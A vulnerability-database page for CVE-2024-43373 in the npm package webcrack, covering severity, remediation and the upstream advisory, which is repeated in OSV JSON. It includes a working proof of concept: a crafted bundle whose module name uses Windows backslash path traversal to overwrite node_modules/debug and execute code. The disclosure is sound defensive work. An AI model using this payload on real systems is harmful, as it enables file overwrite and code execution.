Vulnerabilities in pkg:npm/webcrack

PACKAGE
Advisory Identifier: GHSA-ccqh-278p-xq6w
Advisory Summary

CVE-2024-43373 is a MODERATE (CVSS 7.7) webcrack has an arbitrary file vulnerability (CWE-20: Improper Input Validation) affecting Webcrack libraries in the npm ecosystem. The issue involves webcrack has an arbitrary file write vulnerability on windows when parsing and saving a malicious bundle. Remediation is available by upgrading affected packages to version 2.14.1.

1 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:npm/webcrack

1 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:npm/webcrack. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-ccqh-278p-xq6w CVE-2024-43373 MODERATE webcrack has an Arbitrary File Write Vulnerability on Windows when Parsing and Saving a Malicious Bundle

CVE-2024-43373 at a Glance

CVE Identifier CVE-2024-43373
GHSA Identifier GHSA-ccqh-278p-xq6w
Severity MODERATE
CVSS v3.1 Base Score 7.7
CWE Classification CWE-20: Improper Input Validation
Affected Product Webcrack
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.7

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity High (I:H)
Availability Low (A:L)

How to Fix CVE-2024-43373

To remediate this vulnerability, upgrade all affected Webcrack dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

webcrack fixed: 2.14.1
npm install webcrack@2.14.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls webcrack

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2024-43373, inspect your project dependencies using npm:

npm ls webcrack

Analyze the terminal output to locate any version of Webcrack in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.14.1), your application is affected.

Note: The npm ls webcrack command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-20: Improper Input Validation, where the product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. In Webcrack, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary An arbitrary file write vulnerability exists in the webcrack module when processing specifically crafted malicious code on Windows systems. This vulnerability is triggered when using the unpack bundles feature in conjunction with the saving feature. If a module name includes a path traversal sequence with Windows path separators, an attacker can exploit this to overwrite files on the host system. ### Details Source: [packages/webcrack/src/unpack/bundle.ts#L79](https://github.com/j4k0xb/webcrack/blob/241f9469e6401f3dabc6373233d85a5e76966b54/packages/webcrack/src/unpack/bundle.ts#L79) ```ts import { posix } from 'node:path'; import type { Module } from './module'; // eslint-disable-next-line @typescript-eslint/unbound-method const { dirname, join, normalize } = posix; /* ... snip ... */ const modulePath = normalize(join(path, module.path)); if (!modulePath.startsWith(path)) { throw new Error(`detected path traversal: ${module.path}`); } await mkdir(dirname(modulePath), { recursive: true }); await writeFile(modulePath, module.code, 'utf8'); ``` In this code, the application explicitly relies on the POSIX version of path utilities (`dirname`, `join`, `normalize`) from Node.js. However, the vulnerability arises because the POSIX version of the `normalize` function does not recognize `\` as a path separator. As a result, on Windows systems, the path traversal check fails, allowing an attacker to write files to unintended locations. ### PoC The following proof of concept demonstrates how this vulnerability can be exploited to overwrite and hijack the `debug` module in Node.js: **Malicious Script (what.js):** ```js (function (e) { var n = {}; function o(r) { if (n[r]) { return n[r].exports; } var a = (n[r] = { i: r, l: false, exports: {}, }); e[r].call(a.exports, a, a.exports, o); a.l = true; return a.exports; } o.p = ''; o((o.s = 386)); })({ './\\..\\node_modules\\debug\\src\\index': function (e, t, n) { module.exports = () => console.log("pwned") }, }); ``` **Webcrack Script (index.js):** ```js import fs from 'fs'; import { webcrack } from 'webcrack'; const input = fs.readFileSync('what.js', 'utf8'); const result = await webcrack(input); console.log(result.code); console.log(result.bundle); await result.save('output-dir'); ``` **Execution:** Running the above script with `node index.js` twice results in the following output being printed to the terminal: ``` PS C:\Webcrack> node .\index.js Debugger attached. (function (e) { var n = {}; function o(r) { if (n[r]) { return n[r].exports; } var a = n[r] = { i: r, l: false, exports: {} }; e[r].call(a.exports, a, a.exports, o); a.l = true; return a.exports; } o.p = ""; o(o.s = 386); })({ "./\\..\\node_modules\\debug\\src\\index": function (e, t, n) { module.exports = () => console.log("pwned"); } }); WebpackBundle { type: 'webpack', entryId: '386', modules: Map(1) { './\\..\\node_modules\\debug\\src\\index' => WebpackModule { id: './\\..\\node_modules\\debug\\src\\index', isEntry: false, path: '././\\..\\node_modules\\debug\\src\\index.js', ast: [Object] } } } Waiting for the debugger to disconnect... PS C:\Webcrack> node .\index.js Debugger attached. pwned pwned pwned pwned pwned pwned pwned Waiting for the debugger to disconnect... file:///C:/Webcrack/node_modules/webcrack/dist/index.js:444 if (options.log) logger(`${name}: started`); ^ TypeError: logger is not a function at applyTransforms (file:///C:/Webcrack/node_modules/webcrack/dist/index.js:444:20) at Array.<anonymous> (file:///C:/Webcrack/node_modules/webcrack/dist/index.js:4259:7) at webcrack (file:///C:/Webcrack/node_modules/webcrack/dist/index.js:4292:20) at async file:///C:/Webcrack/index.js:6:16 Node.js v18.16.0 ``` This demonstrates that the debug module was successfully overwritten and hijacked to print `pwned` to the console, confirming the arbitrary file write vulnerability has lead to code execution. ### Impact This vulnerability allows an attacker to write arbitrary `.js` files to the host system, which can be leveraged to hijack legitimate Node.js modules to gain arbitrary code execution.

CVE-2024-43373 Affected Webcrack Versions

1 component(s)
Fixed Versions:
2.14.1
Product / Package Ecosystem Affected Versions Fixed Version
webcrack
npm
< 2.14.1
2.14.1

References

Frequently Asked Questions

What is CVE-2024-43373?
CVE-2024-43373 is a security vulnerability in Webcrack involving webcrack has an Arbitrary File Write Vulnerability on Windows when Parsing and Saving a Malicious Bundle under CWE-20: Improper Input Validation.
Which Webcrack versions are affected?
Affected versions include releases prior to 2.14.1 across affected packages: webcrack.
What version fixes CVE-2024-43373?
Upgrading to 2.14.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is webcrack affected?
Yes, webcrack is affected in releases prior to 2.14.1. Upgrade your dependency to 2.14.1 or later.
What is the CVSS score of CVE-2024-43373?
CVE-2024-43373 has a CVSS v3.1 base score of 7.7 (MODERATE) with vector string CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L.
What CWE is associated with CVE-2024-43373?
CVE-2024-43373 is classified under CWE-20: Improper Input Validation (The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.).
How can I check npm dependencies for CVE-2024-43373?
Run the dependency tree command: 'npm ls webcrack'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-ccqh-278p-xq6w",
  "modified" : "2024-11-18T16:27:04Z",
  "published" : "2024-08-14T18:01:06Z",
  "aliases" : [ "CVE-2024-43373" ],
  "summary" : "webcrack has an Arbitrary File Write Vulnerability on Windows when Parsing and Saving a Malicious Bundle",
  "details" : "### Summary\nAn arbitrary file write vulnerability exists in the webcrack module when processing specifically crafted malicious code on Windows systems. This vulnerability is triggered when using the unpack bundles feature in conjunction with the saving feature. If a module name includes a path traversal sequence with Windows path separators, an attacker can exploit this to overwrite files on the host system.\n\n### Details\n\nSource: [packages/webcrack/src/unpack/bundle.ts#L79](https://github.com/j4k0xb/webcrack/blob/241f9469e6401f3dabc6373233d85a5e76966b54/packages/webcrack/src/unpack/bundle.ts#L79)\n```ts\nimport { posix } from 'node:path';\nimport type { Module } from './module';\n\n// eslint-disable-next-line @typescript-eslint/unbound-method\nconst { dirname, join, normalize } = posix;\n\n/* ... snip ... */\n\nconst modulePath = normalize(join(path, module.path));\nif (!modulePath.startsWith(path)) {\n    throw new Error(`detected path traversal: ${module.path}`);\n}\nawait mkdir(dirname(modulePath), {\n    recursive: true\n});\nawait writeFile(modulePath, module.code, 'utf8');\n```\n\nIn this code, the application explicitly relies on the POSIX version of path utilities (`dirname`, `join`, `normalize`) from Node.js. However, the vulnerability arises because the POSIX version of the `normalize` function does not recognize `\\` as a path separator. As a result, on Windows systems, the path traversal check fails, allowing an attacker to write files to unintended locations.\n\n### PoC\nThe following proof of concept demonstrates how this vulnerability can be exploited to overwrite and hijack the `debug` module in Node.js:\n\n**Malicious Script (what.js):**\n\n```js\n(function (e) {\n    var n = {};\n    function o(r) {\n      if (n[r]) {\n        return n[r].exports;\n      }\n      var a = (n[r] = {\n        i: r,\n        l: false,\n        exports: {},\n      });\n      e[r].call(a.exports, a, a.exports, o);\n      a.l = true;\n      return a.exports;\n    }\n    o.p = '';\n    o((o.s = 386));\n  })({\n    './\\\\..\\\\node_modules\\\\debug\\\\src\\\\index': function (e, t, n) {\n        module.exports = () => console.log(\"pwned\")\n    },\n  });\n```\n\n**Webcrack Script (index.js):**\n\n```js\nimport fs from 'fs';\nimport { webcrack } from 'webcrack';\n\nconst input = fs.readFileSync('what.js', 'utf8');\n\nconst result = await webcrack(input);\nconsole.log(result.code);\nconsole.log(result.bundle);\nawait result.save('output-dir');\n```\n\n**Execution:**\nRunning the above script with `node index.js` twice results in the following output being printed to the terminal:\n\n```\nPS C:\\Webcrack> node .\\index.js\nDebugger attached.\n(function (e) {\n  var n = {};\n  function o(r) {\n    if (n[r]) {\n      return n[r].exports;\n    }\n    var a = n[r] = {\n      i: r,\n      l: false,\n      exports: {}\n    };\n    e[r].call(a.exports, a, a.exports, o);\n    a.l = true;\n    return a.exports;\n  }\n  o.p = \"\";\n  o(o.s = 386);\n})({\n  \"./\\\\..\\\\node_modules\\\\debug\\\\src\\\\index\": function (e, t, n) {\n    module.exports = () => console.log(\"pwned\");\n  }\n});\nWebpackBundle {\n  type: 'webpack',\n  entryId: '386',\n  modules: Map(1) {\n    './\\\\..\\\\node_modules\\\\debug\\\\src\\\\index' => WebpackModule {\n      id: './\\\\..\\\\node_modules\\\\debug\\\\src\\\\index',\n      isEntry: false,\n      path: '././\\\\..\\\\node_modules\\\\debug\\\\src\\\\index.js',\n      ast: [Object]\n    }\n  }\n}\nWaiting for the debugger to disconnect...\nPS C:\\Webcrack> node .\\index.js\nDebugger attached.\npwned\npwned\npwned\npwned\npwned\npwned\npwned\nWaiting for the debugger to disconnect...\nfile:///C:/Webcrack/node_modules/webcrack/dist/index.js:444\n  if (options.log) logger(`${name}: started`);\n                   ^\n\nTypeError: logger is not a function\n    at applyTransforms (file:///C:/Webcrack/node_modules/webcrack/dist/index.js:444:20)\n    at Array.<anonymous> (file:///C:/Webcrack/node_modules/webcrack/dist/index.js:4259:7)\n    at webcrack (file:///C:/Webcrack/node_modules/webcrack/dist/index.js:4292:20)\n    at async file:///C:/Webcrack/index.js:6:16\n\nNode.js v18.16.0\n```\n\nThis demonstrates that the debug module was successfully overwritten and hijacked to print `pwned` to the console, confirming the arbitrary file write vulnerability has lead to code execution.\n\n### Impact\nThis vulnerability allows an attacker to write arbitrary `.js` files to the host system, which can be leveraged to hijack legitimate Node.js modules to gain arbitrary code execution.\n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:H/SA:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "webcrack"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.14.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.14.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/j4k0xb/webcrack/security/advisories/GHSA-ccqh-278p-xq6w"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-43373"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/j4k0xb/webcrack/commit/4bc5c6f353012ee7edc2cb39d01a728ab7426999"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/j4k0xb/webcrack"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/j4k0xb/webcrack/blob/241f9469e6401f3dabc6373233d85a5e76966b54/packages/webcrack/src/unpack/bundle.ts#L79"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-20", "CWE-22" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-08-14T18:01:06Z",
    "nvd_published_at" : "2024-08-15T15:15:21Z"
  }
}